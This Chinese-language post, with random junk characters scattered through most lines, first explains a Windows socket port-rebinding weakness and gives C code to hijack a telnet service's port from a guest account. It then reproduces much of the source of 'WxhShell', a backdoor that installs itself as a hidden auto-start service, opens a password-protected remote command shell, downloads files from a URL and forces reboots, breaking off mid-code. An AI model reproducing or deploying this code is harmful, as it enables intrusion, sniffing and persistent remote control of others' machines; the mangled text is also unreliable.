在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
%;<k(5bhGJ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ycrh5*g Zr.\`mG4f saddr.sin_family = AF_INET;
vNC$f(cQ =wIdC3Ph saddr.sin_addr.s_addr = htonl(INADDR_ANY);
yp[<9%Fi dT hn? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
d^Zo35X u+mjguIv 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Q$?7) yyu+ 7cUR.PI#Q 这意味着什么?意味着可以进行如下的攻击:
%UUp=I Ok}{jwJ%W; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ReI=4Jq11 N?a1sdR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
P&[F t)` :jk)(=^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
~{7zm"jN {WYu0J@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
hF{x')(#l jU]]:S4xD/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
`P ^u: <}28=d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
K-2o9No?j` vs\'1^*D 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ldAov\X )g9)IF #include
$PatHY@h #include
xta}4:d-Y #include
X+dR<GN+YX #include
;g:
U[cE DWORD WINAPI ClientThread(LPVOID lpParam);
l~]hGLviJE int main()
[Krm .) {
t4f
(Y,v WORD wVersionRequested;
zB#_:(1qK DWORD ret;
LyuSZa] WSADATA wsaData;
>W`S(a Mn BOOL val;
6CcB-@n4 SOCKADDR_IN saddr;
'[>\N4WD SOCKADDR_IN scaddr;
Y|%anTP int err;
$i,6B9 SOCKET s;
DO7-=74= SOCKET sc;
/*u#Ba<< int caddsize;
J6)efX)j-p HANDLE mt;
C6K|:IK{ DWORD tid;
b4Ricm wVersionRequested = MAKEWORD( 2, 2 );
6WA|'|}= err = WSAStartup( wVersionRequested, &wsaData );
F^.om2V|9 if ( err != 0 ) {
ki;!WhF~ printf("error!WSAStartup failed!\n");
B;xZ%M] return -1;
iEiu%T> }
W<\ kf4Y saddr.sin_family = AF_INET;
r+t ,J|V c=b+g+*xd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"bD+/\ z @T<ad7g-2J saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|. J,8~x saddr.sin_port = htons(23);
p+orBw3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0n4g$JK7 {
+<pVf%u5 printf("error!socket failed!\n");
nGq]$h return -1;
Ef2Yl }
y]yine val = TRUE;
jMN)?6$= //SO_REUSEADDR选项就是可以实现端口重绑定的
u|(Ux~O
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
lq:]`l,6@ {
Sp 7u_Pq{ printf("error!setsockopt failed!\n");
c:=7lI return -1;
ooTc/QEYi }
7n\ ThfH{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\:]DFZ= ! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<_"B}c/2$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8<YX7e #$LH2?) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
rlR
!& {
"Z;~Y=hC13 ret=GetLastError();
z'7#"D printf("error!bind failed!\n");
<KKDu$W|T return -1;
MQwIPjk8 }
IZO@V1-m listen(s,2);
D,c!#(v cK while(1)
JT4wb]kdV {
JDkCUN 5 caddsize = sizeof(scaddr);
:~vxZ*a //接受连接请求
{bT9VZ> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
k) "ao2iXL if(sc!=INVALID_SOCKET)
9z #P {
J5O.*& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+C'XS{K,# if(mt==NULL)
t2"@Ps&1| {
qv
*3A?uzr printf("Thread Creat Failed!\n");
24//21m break;
DH:J }
E [S?
b=^ }
Iha[Gu CloseHandle(mt);
F;#zN }
h aCKv closesocket(s);
92ZWU2" WSACleanup();
ovo/!YJ2 return 0;
CK2 B }
y>$1UwQ DWORD WINAPI ClientThread(LPVOID lpParam)
B1E$v(P3M {
'0Lov]L SOCKET ss = (SOCKET)lpParam;
nt=x]wEC SOCKET sc;
P^"R4T unsigned char buf[4096];
`AR"!X SOCKADDR_IN saddr;
#>=8w9] long num;
5Q`RTn% DWORD val;
im8
-7Xt DWORD ret;
}7.#Dj/r6 //如果是隐藏端口应用的话,可以在此处加一些判断
C)OG62 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
J7:9_/e0T saddr.sin_family = AF_INET;
0mTEim saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
jO=*:{#x saddr.sin_port = htons(23);
wtSvJI~o) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Dv@PAnk3C {
R\*)@[y9l printf("error!socket failed!\n");
80|onP\L return -1;
<|a=hHPi: }
\^9pW 2v val = 100;
EJ`Q8uz if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:/6()_>bO {
E4r.ky`#~ ret = GetLastError();
A#(`9 return -1;
ur6e&bTp }
#,&8& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_wz2 {
J_PH7Z*=, ret = GetLastError();
E tx`K5Tr] return -1;
oCVku:. }
34z+INkX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)B ;M
{
i
E9\_MA printf("error!socket connect failed!\n");
m<{"}4' closesocket(sc);
KnJx{8@z closesocket(ss);
C`NmZwL return -1;
+i. u< T }
r!kLV )_ while(1)
MWs~#ReZ {
hk_g2g //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@.gPJMA //如果是嗅探内容的话,可以再此处进行内容分析和记录
F}'wH-qp //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
X'x3esw w num = recv(ss,buf,4096,0);
D,Lp|V if(num>0)
)Q]w6he3 send(sc,buf,num,0);
(9]6bd else if(num==0)
cvfUyp;P break;
O#EqG.L5 num = recv(sc,buf,4096,0);
Q_]~0PoH if(num>0)
hbI;Hd send(ss,buf,num,0);
ZVL
gK}s else if(num==0)
4&{!M
_ break;
2Lfah?Tx~C }
J4>;[\%m closesocket(ss);
WK==j1 closesocket(sc);
>3PMnI return 0 ;
OxQYNi2 }
J\=a gQ 8eJE>g1J
$:EG%jl ==========================================================
m[:K"lZ
]2 XA{F:% 下边附上一个代码,,WXhSHELL
AbfZ++aJ BvK QlT ==========================================================
TQc@lR! E'EcP4eL #include "stdafx.h"
Svw<XJ RlRs}yF #include <stdio.h>
kRlA4h1u_$ #include <string.h>
{eQWO.C{ #include <windows.h>
vtyx`F
f #include <winsock2.h>
4h8*mMghs #include <winsvc.h>
fu4!t31 #include <urlmon.h>
1~\M!SQ) Td h TQ #pragma comment (lib, "Ws2_32.lib")
@AQwr#R"l #pragma comment (lib, "urlmon.lib")
q3h'l, XAuI7e #define MAX_USER 100 // 最大客户端连接数
Y#HI;Y^RP #define BUF_SOCK 200 // sock buffer
}k7'"`#?" #define KEY_BUFF 255 // 输入 buffer
~L{l+jK$p q
\O
Ou #define REBOOT 0 // 重启
Ri)uq\E/# #define SHUTDOWN 1 // 关机
)`+YCCa6F LFf`K)q #define DEF_PORT 5000 // 监听端口
wK!~tYxP FTf<c0 #define REG_LEN 16 // 注册表键长度
mLyBm #define SVC_LEN 80 // NT服务名长度
;Ii1B{W rs-,0'z,7 // 从dll定义API
L0NA*C
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
pqR\>d0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:50b8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ig+4S[L~n typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
x#H
3=YD* ,[!LCXp // wxhshell配置信息
'V&Y[7Aeq struct WSCFG {
t ^SzqB int ws_port; // 监听端口
GJA`l8`SQ char ws_passstr[REG_LEN]; // 口令
",Cr,;] int ws_autoins; // 安装标记, 1=yes 0=no
'LS z f/w char ws_regname[REG_LEN]; // 注册表键名
W+=o&V char ws_svcname[REG_LEN]; // 服务名
@n+=vC.xO char ws_svcdisp[SVC_LEN]; // 服务显示名
'T8W!&$ char ws_svcdesc[SVC_LEN]; // 服务描述信息
pv,45z0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+.yT/y " int ws_downexe; // 下载执行标记, 1=yes 0=no
rS8 w\`_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
I5ZqB B char ws_filenam[SVC_LEN]; // 下载后保存的文件名
gm)@c2?. #0Ds'pE- };
m#7*:i&@Y Ond'R'3 \E // default Wxhshell configuration
j2 %^qL struct WSCFG wscfg={DEF_PORT,
>QkP7Kb "xuhuanlingzhe",
, X{> 1,
"sUyHt -& "Wxhshell",
*m+BuGt| "Wxhshell",
7:E!b=o# "WxhShell Service",
/e@H^Cgo "Wrsky Windows CmdShell Service",
]/X(V|t "Please Input Your Password: ",
A!i q->+ 1,
/8'S1!zc "
http://www.wrsky.com/wxhshell.exe",
{Qu"%h.Al "Wxhshell.exe"
x2Lq=zwJ };
V^s0fWa <@v]H@E // 消息定义模块
}f}}A= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Ah69
_>N`S char *msg_ws_prompt="\n\r? for help\n\r#>";
,E )|y4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
YX*x&5]lq char *msg_ws_ext="\n\rExit.";
,M5}4E7L%s char *msg_ws_end="\n\rQuit.";
pc]J[ S?P char *msg_ws_boot="\n\rReboot...";
I0'WOV70 char *msg_ws_poff="\n\rShutdown...";
4'1m4Ugg char *msg_ws_down="\n\rSave to ";
s@4nWe
08bJCH char *msg_ws_err="\n\rErr!";
,MPB/j^o5! char *msg_ws_ok="\n\rOK!";
w*9br SK K$ }a8rH char ExeFile[MAX_PATH];
`_ %S int nUser = 0;
m7c*)"^ HANDLE handles[MAX_USER];
g`^X#-!( int OsIsNt;
B5%n(,Lx jEdtJEPa SERVICE_STATUS serviceStatus;
w'4AJ Q|; SERVICE_STATUS_HANDLE hServiceStatusHandle;
g]~h(mI ym,H@~ // 函数声明
YUU-D( int Install(void);
G6P)C##ibn int Uninstall(void);
ji1HV1S int DownloadFile(char *sURL, SOCKET wsh);
{PU!=IkTS int Boot(int flag);
zdl%iop3e void HideProc(void);
Df=dt int GetOsVer(void);
.0 )Y int Wxhshell(SOCKET wsl);
-/C)l)V} void TalkWithClient(void *cs);
1+;C`bnA int CmdShell(SOCKET sock);
Xl7aGlH int StartFromService(void);
M,5j5<7 int StartWxhshell(LPSTR lpCmdLine);
d$ACDX2 g1E~+@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
A5:qKaAq VOID WINAPI NTServiceHandler( DWORD fdwControl );
1F8 W9b^D f"u*D,/sS // 数据结构和表定义
<:>SGSE9 SERVICE_TABLE_ENTRY DispatchTable[] =
>I {
3f Xv4R;!: {wscfg.ws_svcname, NTServiceMain},
Am0{8
' {NULL, NULL}
Qhi '')Q };
Y/<lWbj*A '+>fFM,*B // 自我安装
F7L &=K$2y int Install(void)
d6{Gt" {
gbeghLP[? char svExeFile[MAX_PATH];
/I5X"x HKEY key;
:AdDLpk3j strcpy(svExeFile,ExeFile);
-~[9U, /^{BUo // 如果是win9x系统,修改注册表设为自启动
Jf)bHjC_V if(!OsIsNt) {
JCcZuwu[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9fnA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
YYEJph@06q RegCloseKey(key);
%=AxJp!a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zJDSbsc$% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N /$`:8" RegCloseKey(key);
=o}"jVE return 0;
nMfFH[I4 }
/v|"0 }
UUKP" }
LH 3}d<{ else {
p9U?!L!y r=/;iH?UH // 如果是NT以上系统,安装为系统服务
Yb i%od& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
OJN2z if (schSCManager!=0)
5
8-e^. {
f %lD08Sl SC_HANDLE schService = CreateService
S d/?& (
EpS(o>' schSCManager,
@ l1 wscfg.ws_svcname,
+x?#DH- wscfg.ws_svcdisp,
$8USyGi3J SERVICE_ALL_ACCESS,
m=AqV:%| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*%w69#D SERVICE_AUTO_START,
U t-B^x)gl SERVICE_ERROR_NORMAL,
{qW~"z*
svExeFile,
P&d"V< NULL,
b*;"q9u5 NULL,
2$_9cF Wm NULL,
w;}@'GgL NULL,
`~eX55W NULL
b `2|I { );
;4M><OS! if (schService!=0)
a07@C {
+uWDP. CloseServiceHandle(schService);
"'8KV\/D CloseServiceHandle(schSCManager);
.@-9'<K?~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ML-)I&>tT strcat(svExeFile,wscfg.ws_svcname);
|4mpohX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Cz4)Yz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
KfBTL!0# RegCloseKey(key);
_rV 5E return 0;
S-31-Zjw }
]q-g[e' }
L@75-T CloseServiceHandle(schSCManager);
G$'jEa<:u }
y-p70.'{U }
x\&`>>uA B/5=]R return 1;
g-`~eG28D5 }
Q9d`zR] MS(JR // 自我卸载
yKXff1^M int Uninstall(void)
e__@GBG {
%p^.\ch9 HKEY key;
>e2<!#er| E ca\fkj if(!OsIsNt) {
)&era` e[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Uie?9&3 RegDeleteValue(key,wscfg.ws_regname);
-U<Upn)2 RegCloseKey(key);
e{;OSk`x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|9"p|6G?B RegDeleteValue(key,wscfg.ws_regname);
7&`}~$>}>e RegCloseKey(key);
+,:du*C return 0;
(>mI'!4d }
t
E` cau }
:Ih|en^w }
y@j,a else {
0JgL2ayIVI ^mAYBOE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
]0;864X0 if (schSCManager!=0)
2j(h+?N7k {
]
2DH; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ZYf2XI(_" if (schService!=0)
U.AjYez {
pA{ 5V9 if(DeleteService(schService)!=0) {
y%sroI('y CloseServiceHandle(schService);
{k4CEt; CloseServiceHandle(schSCManager);
UA[,2MBp return 0;
Cv$
SJc }
wU#F_De)R: CloseServiceHandle(schService);
k>dsw : }
^gVT$A CloseServiceHandle(schSCManager);
h8\
T }
th6+2&B6 }
Qn ^bVhG+ iv phlw return 1;
n~g)I& }
]zO/A4 :16P.z1L // 从指定url下载文件
T!wo2EzE int DownloadFile(char *sURL, SOCKET wsh)
Te2zK7:
{
<
RCLI| HRESULT hr;
Rwr 2gMt7 char seps[]= "/";
)s1Ib4C char *token;
K:'q>D@ char *file;
;"O&X<BX- char myURL[MAX_PATH];
ZEYgK)^ char myFILE[MAX_PATH];
?ER-25S {]z4k[;.h strcpy(myURL,sURL);
,!V]jP) token=strtok(myURL,seps);
@&D?e:|!U while(token!=NULL)
;> m"x {
X1ZgSs+i file=token;
s>0Nr token=strtok(NULL,seps);
[D5t{[i }
7_2kDDW0 <foCb%$(? GetCurrentDirectory(MAX_PATH,myFILE);
%>g W9}kB strcat(myFILE, "\\");
#W.vX?-'0 strcat(myFILE, file);
y=Mq(c:'UN send(wsh,myFILE,strlen(myFILE),0);
b':|uu*/ send(wsh,"...",3,0);
}F+zs*S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Qu,8t8 if(hr==S_OK)
d:G]1k;z return 0;
I@Xn3oN else
O]f/r,4@ return 1;
.^$YfTabq JQ:Ri }
E;21?`x5 #,{+3Y&5-+ // 系统电源模块
^m_yf|D$ int Boot(int flag)
nm7;ieMfr {
H:p Z-v* HANDLE hToken;
fYE(n8W3 TOKEN_PRIVILEGES tkp;
/6O??6g 1FtM>&%4 if(OsIsNt) {
uxg9yp@| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
RzhWD^b B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
v(OBXa9 tkp.PrivilegeCount = 1;
\c[IbL07 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Mg#j3W}] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
2MA]j T if(flag==REBOOT) {
9w9jpe# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)otb>w5 return 0;
DO7W}WU }
r_EcMIuk else {
fw oQ'& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
8A{_GH{: return 0;
qyHZ M}/ }
nUq<TJ }
[![%9'+P else {
kt4d;4n if(flag==REBOOT) {
fF*`'i=! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
=h(W4scgqX return 0;
h;5LgAY|v }
iJnU% else {
uP\lCqK, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
iqnJ~g return 0;
T]Nu) }
%!ebO*8q }
b|SE<\ K
~ 44i return 1;
&rDM<pO #- }
:b[`
v `>DP,D)w( // win9x进程隐藏模块
I ];M7 void HideProc(void)
ylKmj]A {
1Y_w5dU "^I
mb, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Nr2 C@FU:0 if ( hKernel != NULL )
RFh"&0[ {
zo;^m| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/yLZ/<WN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6 \B0^ FreeLibrary(hKernel);
@DW[Z`X }
OL7_'2_z. ~lEVXea! return;
,:+dg(\r }
]4+s$rG tweY'x.{ // 获取操作系统版本
.kTG[)F0b int GetOsVer(void)
W&h[p_0 {
0iCPi)B OSVERSIONINFO winfo;
1B*WfP~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Qr#1 u GetVersionEx(&winfo);
k7tYa;C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.^)UO return 1;
2!N8rHRt else
J==SZ v return 0;
UR(-q }
W~_t~Vg5 1GEK:g2B // 客户端句柄模块
R];Oxe int Wxhshell(SOCKET wsl)
elG;jB {
UEak^Mm;=2 SOCKET wsh;
4Ij-Ilg)% struct sockaddr_in client;
i?Ss: v^ DWORD myID;
,wwZI`>- .s/fhk, while(nUser<MAX_USER)
*9ywXm&? {
Ba\6?K int nSize=sizeof(client);
3p?KU- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
T+LJ*I4 if(wsh==INVALID_SOCKET) return 1;
7z_;t9Y R`F,aIJ] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`k\grr.J if(handles[nUser]==0)
TI y&&_p closesocket(wsh);
i`
A else
M(| nUser++;
uGdp@]z&8Q }
BiE08,nj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
AvR2_ _<ut)G^9 return 0;
g%[n4 }
/8@m<CW2Y J H.K.C( // 关闭 socket
zr76_~B1u void CloseIt(SOCKET wsh)
SFH-^ly&D {
DaNW~rd{ closesocket(wsh);
wo5ZxM nUser--;
]IJRnVp% ExitThread(0);
qdCWy }
9Qj2W {#IPf0O // 客户端请求句柄
CeT~p6= void TalkWithClient(void *cs)
mq /zTm {
C@o%J.9"# 6]Q3Yz^h SOCKET wsh=(SOCKET)cs;
FDR1Gy char pwd[SVC_LEN];
]43[6Im char cmd[KEY_BUFF];
dsK&U\ej} char chr[1];
Vbh6HqAHxJ int i,j;
`,wu}F85 PXP`ZLF while (nUser < MAX_USER) {
')+0nPV O?bK%P]ay if(wscfg.ws_passstr) {
m9M
FwfZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
jc_\'Gr+[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
HOt>}x //ZeroMemory(pwd,KEY_BUFF);
'#\D]5 i=0;
K|W^l\Lt while(i<SVC_LEN) {
SM[{BH< tXF]t
// 设置超时
(yQ
5` fd_set FdRead;
{u7##Vrgt8 struct timeval TimeOut;
$ &5w\P FD_ZERO(&FdRead);
g1DmV,W-Q FD_SET(wsh,&FdRead);
T+"f]v TimeOut.tv_sec=8;
8F;>5i TimeOut.tv_usec=0;
zIQzmvf int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_BnTv$.P if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~Y5l+EF# "oJ(J{Jat if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
eR']#Q46{T pwd
=chr[0]; B\j~)vg
if(chr[0]==0xd || chr[0]==0xa) { '(@YK4_M
pwd=0; 5/ecaAB2
break; ;mm!0]V
} &!7+Yb(1
i++; <*'cf2Q$Av
} @%tXFizh
q5&Ci`
// 如果是非法用户,关闭 socket OKuD"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HgJb4Fi
} 'TN)Lb*
}|8*sk#[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g=]&A
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L3y5 a?G
^<V9'Ut
while(1) { _|c&@M
#S
QXTR
ZeroMemory(cmd,KEY_BUFF); 5#:pT
lHBI
// 自动支持客户端 telnet标准 O]u",J5
j=0; 7r{qJ7$%
while(j<KEY_BUFF) { kL{;.WsB
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4dhqLVgL{
cmd[j]=chr[0]; ^kj=<+ v#
if(chr[0]==0xa || chr[0]==0xd) { GA^mgm"O
cmd[j]=0; y<r}"TAf-
break; Uku5wPS
} :jNYP{Br
j++; #*IVlchA"B
} ;cP8 ?U
C;1PsSE+A
// 下载文件 Q/_#k/R
if(strstr(cmd,"http://")) { wuK=6RL
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~bU7QLr
if(DownloadFile(cmd,wsh)) pD`/_-=^h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vX1uR]A[
else ,j;PRJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kM*T$JqN
} i1*C{Lf;%)
else { vx 0UoKX
]Bu DaxWN
switch(cmd[0]) { %&] 1FhL
p]LnE`v
// 帮助 )y50Mb0+
case '?': { &H;8QZ8uw
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `bgb*Yaod
break; ;i)KHj'
} 2/Nq'
// 安装 3l:XhLOj
case 'i': { 6OUvrfC(H
if(Install()) mVf.sA8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mX_)b>iW
else 1 tfYsg=O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ygj6(2
break; 3A0_C?E
} fp !:u
// 卸载 L=A\ J^%
case 'r': { =3+L#P=i9
if(Uninstall()) l:e9y $_)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q(9%^cV6
else 4
eh=f!(+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XoL[
r67Z
break; -ut=8(6&
} =:K@zlO:
// 显示 wxhshell 所在路径 .P/xs4
case 'p': { +^Jwo)R'b
char svExeFile[MAX_PATH]; Xz1c6mX|o
strcpy(svExeFile,"\n\r"); 8=H\?4)()Y
strcat(svExeFile,ExeFile); O k(47nC
send(wsh,svExeFile,strlen(svExeFile),0); v&0d$@6/U
break; >q|Q-I~gs
} az(5o
// 重启 i.@*tIK
case 'b': { _EKF-&Q6
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <c%n?QK{
if(Boot(REBOOT)) Z;*`fd?8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v5Y@O|i#
else { &+;uZ-x
closesocket(wsh); cIZc:
ExitThread(0); FLbZ9pX}
} Baq ~}B<
break; [}k|
} &l^n4
// 关机 BR3mAF
case 'd': { wixD\t59X
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RjtC:H&XZ
if(Boot(SHUTDOWN)) ' o=E!?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HTNA])G
else { +{vQSFW
closesocket(wsh); hmzair3X
ExitThread(0); -Op@y2+c
} ABiC9[Q0
break; g\J)= ,ju,
} )+B=z}:Nfz
// 获取shell GMb!Q0I8
case 's': { W:B }u\)C
CmdShell(wsh); =
o+7xom
closesocket(wsh); @^HwrwRA
ExitThread(0); ;G Qm[W([
break; Oy'0I,
} _W+Q3Jx-(
// 退出 $~o3}&az
case 'x': { {d}26 $<$]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f(.6|mPp
CloseIt(wsh); sN@j5p^jc
break; MgP{W=h2
} p2a?9R
// 离开 a@k.$
case 'q': { 2VMX:&3 5J
send(wsh,msg_ws_end,strlen(msg_ws_end),0); lxOqs:b
closesocket(wsh); ?1DUNZ6
WSACleanup(); wz@/5c/u
exit(1); 7 s-`QdWX
break; y[p6y[r*
} Bfn]-]>sD
} CRd_}
} -&7=uRQk
e@+v9Bs]q
// 提示信息 hLn&5jYHvt
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #mTMt;x
} Ctj8tK$D
} )+k[uokj
jDp]R_i
return; JchA=n
} 5~-}}F
YiBOi?h9
// shell模块句柄 9<~,n1b>x
int CmdShell(SOCKET sock) X@eg<]'m
{ ZK!4>OuH`
STARTUPINFO si; / (.'*biQ
ZeroMemory(&si,sizeof(si)); /J8o_EV
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q4zSS #]A
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nYgx9Q"<om
PROCESS_INFORMATION ProcessInfo; gm}C\q9
char cmdline[]="cmd"; FBbm4NB
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &BTfDsxAK
return 0; B~BUWWMfp
} +E)e1:8
`^`9{@~
// 自身启动模式 2}>go^#O/w
int StartFromService(void) }o{!}g9
{ JN)"2}SE
typedef struct B
;;cbY
{ P$F#,Cn
DWORD ExitStatus; =^"~$[z(
DWORD PebBaseAddress; k~ZBJ+
94
DWORD AffinityMask; dvxf lLd @
DWORD BasePriority; U0zW9jB
